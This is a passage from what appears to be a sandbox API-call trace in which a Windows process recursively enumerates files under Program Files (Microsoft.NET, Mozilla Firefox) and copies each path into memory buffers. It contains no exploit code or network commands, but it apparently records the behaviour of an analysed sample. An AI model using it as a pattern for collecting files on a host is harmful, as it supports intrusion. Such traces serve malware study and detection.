lpString1="c:\\Program Files (x86)\\Microsoft.NET") returned="c:\\Program Files (x86)\\Microsoft.NET" [0118.758] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\") returned="c:\\Program Files (x86)\\Microsoft.NET\\" [0118.758] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\") returned 37 [0118.758] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\*") returned="c:\\Program Files (x86)\\Microsoft.NET\\*" [0118.758] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Microsoft.NET\\*", lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0x825720 [0118.759] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0118.759] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.759] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0118.759] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.759] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.759] lstrcmpW (lpString1="Primary Interop Assemblies", lpString2=".") returned 1 [0118.759] lstrcmpW (lpString1="Primary Interop Assemblies", lpString2="..") returned 1 [0118.759] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\") returned 37 [0118.759] lstrlenW (lpString="Primary Interop Assemblies") returned 26 [0118.759] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\", lpString2="Primary Interop Assemblies" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies" [0118.759] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\" [0118.759] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\") returned 64 [0118.759] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\*") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\*" [0118.759] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0118.910] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0118.910] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.910] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0118.910] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.910] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.910] lstrcmpW (lpString1="adodb.dll", lpString2=".") returned 1 [0118.910] lstrcmpW (lpString1="adodb.dll", lpString2="..") returned 1 [0118.910] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\") returned 64 [0118.910] lstrlenW (lpString="adodb.dll") returned 9 [0118.910] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\", lpString2="adodb.dll" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\adodb.dll") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\adodb.dll" [0118.910] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\adodb.dll") returned 73 [0118.910] lstrcpyW (in: lpString1=0x24a1898, lpString2="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\adodb.dll" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\adodb.dll") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\adodb.dll" [0118.910] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.910] lstrcmpW (lpString1="Microsoft.mshtml.dll", lpString2=".") returned 1 [0118.910] lstrcmpW (lpString1="Microsoft.mshtml.dll", lpString2="..") returned 1 [0118.910] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\") returned 64 [0118.910] lstrlenW (lpString="Microsoft.mshtml.dll") returned 20 [0118.910] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\", lpString2="Microsoft.mshtml.dll" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.mshtml.dll") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.mshtml.dll" [0118.910] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.mshtml.dll") returned 84 [0118.910] lstrcpyW (in: lpString1=0x24a1938, lpString2="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.mshtml.dll" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.mshtml.dll") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.mshtml.dll" [0118.910] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.910] lstrcmpW (lpString1="Microsoft.stdformat.dll", lpString2=".") returned 1 [0118.910] lstrcmpW (lpString1="Microsoft.stdformat.dll", lpString2="..") returned 1 [0118.910] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\") returned 64 [0118.910] lstrlenW (lpString="Microsoft.stdformat.dll") returned 23 [0118.910] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\", lpString2="Microsoft.stdformat.dll" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.stdformat.dll") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.stdformat.dll" [0118.910] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.stdformat.dll") returned 87 [0118.910] lstrcpyW (in: lpString1=0x24a19f0, lpString2="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.stdformat.dll" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.stdformat.dll") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.stdformat.dll" [0118.910] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.911] lstrcmpW (lpString1="msdatasrc.dll", lpString2=".") returned 1 [0118.911] lstrcmpW (lpString1="msdatasrc.dll", lpString2="..") returned 1 [0118.911] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\") returned 64 [0118.911] lstrlenW (lpString="msdatasrc.dll") returned 13 [0118.911] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\", lpString2="msdatasrc.dll" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\msdatasrc.dll") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\msdatasrc.dll" [0118.911] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\msdatasrc.dll") returned 77 [0118.911] lstrcpyW (in: lpString1=0x24a1aa8, lpString2="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\msdatasrc.dll" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\msdatasrc.dll") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\msdatasrc.dll" [0118.911] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.911] lstrcmpW (lpString1="stdole.dll", lpString2=".") returned 1 [0118.911] lstrcmpW (lpString1="stdole.dll", lpString2="..") returned 1 [0118.911] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\") returned 64 [0118.911] lstrlenW (lpString="stdole.dll") returned 10 [0118.911] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\", lpString2="stdole.dll" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\stdole.dll") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\stdole.dll" [0118.911] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\stdole.dll") returned 74 [0118.911] lstrcpyW (in: lpString1=0x24a1b50, lpString2="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\stdole.dll" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\stdole.dll") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\stdole.dll" [0118.911] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0118.911] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0118.911] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.911] lstrcmpW (lpString1="RedistList", lpString2=".") returned 1 [0118.911] lstrcmpW (lpString1="RedistList", lpString2="..") returned 1 [0118.911] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\") returned 37 [0118.911] lstrlenW (lpString="RedistList") returned 10 [0118.911] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\", lpString2="RedistList" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\RedistList") returned="c:\\Program Files (x86)\\Microsoft.NET\\RedistList" [0118.911] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\RedistList", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\") returned="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\" [0118.911] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\") returned 48 [0118.911] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\*") returned="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\*" [0118.911] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0118.957] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0118.957] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.957] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0118.957] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.957] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.957] lstrcmpW (lpString1="AssemblyList_4_client.xml", lpString2=".") returned 1 [0118.957] lstrcmpW (lpString1="AssemblyList_4_client.xml", lpString2="..") returned 1 [0118.957] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\") returned 48 [0118.957] lstrlenW (lpString="AssemblyList_4_client.xml") returned 25 [0118.957] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\", lpString2="AssemblyList_4_client.xml" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml") returned="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml" [0118.957] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml") returned 73 [0118.957] lstrcpyW (in: lpString1=0x24a1bf0, lpString2="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml") returned="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml" [0118.957] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.957] lstrcmpW (lpString1="AssemblyList_4_extended.xml", lpString2=".") returned 1 [0118.957] lstrcmpW (lpString1="AssemblyList_4_extended.xml", lpString2="..") returned 1 [0118.957] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\") returned 48 [0118.957] lstrlenW (lpString="AssemblyList_4_extended.xml") returned 27 [0118.957] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\", lpString2="AssemblyList_4_extended.xml" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml") returned="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml" [0118.957] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml") returned 75 [0118.957] lstrcpyW (in: lpString1=0x24a1c90, lpString2="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml") returned="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml" [0118.957] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0118.957] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0118.957] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0 [0118.957] FindClose (in: hFindFile=0x825720 | out: hFindFile=0x825720) returned 1 [0118.957] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0118.957] lstrcmpW (lpString1="Mozilla Firefox", lpString2=".") returned 1 [0118.957] lstrcmpW (lpString1="Mozilla Firefox", lpString2="..") returned 1 [0118.957] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0118.957] lstrlenW (lpString="Mozilla Firefox") returned 15 [0118.957] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Mozilla Firefox" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox") returned="c:\\Program Files (x86)\\Mozilla Firefox" [0118.957] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\") returned="c:\\Program Files (x86)\\Mozilla Firefox\\" [0118.957] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0118.957] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\*") returned="c:\\Program Files (x86)\\Mozilla Firefox\\*" [0118.957] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Mozilla Firefox\\*", lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0x825720 [0118.992] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0118.992] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0119.066] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0119.066] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0119.066] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0119.066] lstrcmpW (lpString1="AccessibleMarshal.dll", lpString2=".") returned 1 [0119.066] lstrcmpW (lpString1="AccessibleMarshal.dll", lpString2="..") returned 1 [0119.066] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0119.066] lstrlenW (lpString="AccessibleMarshal.dll") returned 21 [0119.066] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="AccessibleMarshal.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\AccessibleMarshal.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\AccessibleMarshal.dll" [0119.066] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\AccessibleMarshal.dll") returned 60 [0119.066] lstrcpyW (in: lpString1=0x24a1d48, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\AccessibleMarshal.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\AccessibleMarshal.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\AccessibleMarshal.dll" [0119.066] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0119.066] lstrcmpW (lpString1="application.ini", lpString2=".") returned 1 [0119.066] lstrcmpW (lpString1="application.ini", lpString2="..") returned 1 [0119.066] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0119.066] lstrlenW (lpString="application.ini") returned 15 [0119.066] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="application.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\application.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\application.ini" [0119.066] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\application.ini") returned 54 [0119.066] lstrcpyW (in: lpString1=0x24a08d0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\application.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\application.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\application.ini" [0119.066] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0119.066] lstrcmpW (lpString1="breakpadinjector.dll", lpString2=".") returned 1 [0119.066] lstrcmpW (lpString1="breakpadinjector.dll", lpString2="..") returned 1 [0119.067] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0119.067] lstrlenW (lpString="breakpadinjector.dll") returned 20 [0119.067] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="breakpadinjector.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\breakpadinjector.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\breakpadinjector.dll" [0119.067] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\breakpadinjector.dll") returned 59 [0119.067] lstrcpyW (in: lpString1=0x24a3d30, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\breakpadinjector.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\breakpadinjector.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\breakpadinjector.dll" [0119.067] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0119.067] lstrcmpW (lpString1="browser", lpString2=".") returned 1 [0119.067] lstrcmpW (lpString1="browser", lpString2="..") returned 1 [0119.067] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0119.067] lstrlenW (lpString="browser") returned 7 [0119.067] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="browser" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser" [0119.067] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\" [0119.067] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\") returned 47 [0119.067] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\*") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\*" [0119.067] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0119.268] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0119.268] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0119.269] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0119.269] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0119.269] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0119.269] lstrcmpW (lpString1="blocklist.xml", lpString2=".") returned 1 [0119.269] lstrcmpW (lpString1="blocklist.xml", lpString2="..") returned 1 [0119.269] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\") returned 47 [0119.269] lstrlenW (lpString="blocklist.xml") returned 13 [0119.269] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\", lpString2="blocklist.xml" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\blocklist.xml") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\blocklist.xml" [0119.269] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\blocklist.xml") returned 60 [0119.269] lstrcpyW (in: lpString1=0x24a1dd0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\blocklist.xml" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\blocklist.xml") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\blocklist.xml" [0119.269] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0119.269] lstrcmpW (lpString1="chrome.manifest", lpString2=".") returned 1 [0119.269] lstrcmpW (lpString1="chrome.manifest", lpString2="..") returned 1 [0119.269] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\") returned 47 [0119.269] lstrlenW (lpString="chrome.manifest") returned 15 [0119.269] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\", lpString2="chrome.manifest" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\chrome.manifest") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\chrome.manifest" [0119.269] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\chrome.manifest") returned 62 [0119.269] lstrcpyW (in: lpString1=0x24a1e58, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\chrome.manifest" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\chrome.manifest") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\chrome.manifest" [0119.269] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0119.269] lstrcmpW (lpString1="components", lpString2=".") returned 1 [0119.269] lstrcmpW (lpString1="components", lpString2="..") returned 1 [0119.269] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\") returned 47 [0119.269] lstrlenW (lpString="components") returned 10 [0119.269] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\", lpString2="components" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\components") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\components" [0119.269] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0119.269] lstrcmpW (lpString1="crashreporter-override.ini", lpString2=".") returned 1 [0119.269] lstrcmpW (lpString1="crashreporter-override.ini", lpString2="..") returned 1 [0119.269] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\") returned 47 [0119.269] lstrlenW (lpString="crashreporter-override.ini") returned 26 [0119.269] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\", lpString2="crashreporter-override.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\crashreporter-override.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\crashreporter-override.ini" [0119.269] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\crashreporter-override.ini") returned 73 [0119.269] lstrcpyW (in: lpString1=0x24a3db0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\crashreporter-override.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\crashreporter-override.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\crashreporter-override.ini" [0119.269] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0119.269] lstrcmpW (lpString1="extensions", lpString2=".") returned 1 [0119.269] lstrcmpW (lpString1="extensions", lpString2="..") returned 1 [0119.269] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\") returned 47 [0119.269] lstrlenW (lpString="extensions") returned 10 [0119.269] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\", lpString2="extensions" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions" [0119.269] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0119.269] lstrcmpW (lpString1="omni.ja", lpString2=".") returned 1 [0119.269] lstrcmpW (lpString1="omni.ja", lpString2="..") returned 1 [0119.269] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\") returned 47 [0119.269] lstrlenW (lpString="omni.ja") returned 7 [0119.269] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\", lpString2="omni.ja" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\omni.ja") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\omni.ja" [0119.269] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\omni.ja") returned 54 [0119.269] lstrcpyW (in: lpString1=0x24a0948, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\omni.ja" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\omni.ja") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\omni.ja" [0119.269] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0119.269] lstrcmpW (lpString1="searchplugins", lpString2=".") returned 1 [0119.269] lstrcmpW (lpString1="searchplugins", lpString2="..") returned 1 [0119.269] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\") returned 47 [0119.269] lstrlenW (lpString="searchplugins") returned 13 [0119.269] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\", lpString2="searchplugins" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins" [0119.270] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0119.270] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0119.270] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0119.270] lstrcmpW (lpString1="crashreporter.exe", lpString2=".") returned 1 [0119.270] lstrcmpW (lpString1="crashreporter.exe", lpString2="..") returned 1 [0119.270] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0119.270] lstrlenW (lpString="crashreporter.exe") returned 17 [0119.270] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="crashreporter.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.exe" [0119.270] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.exe") returned 56 [0119.270] lstrcpyW (in: lpString1=0x24a3e50, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.exe" | out: 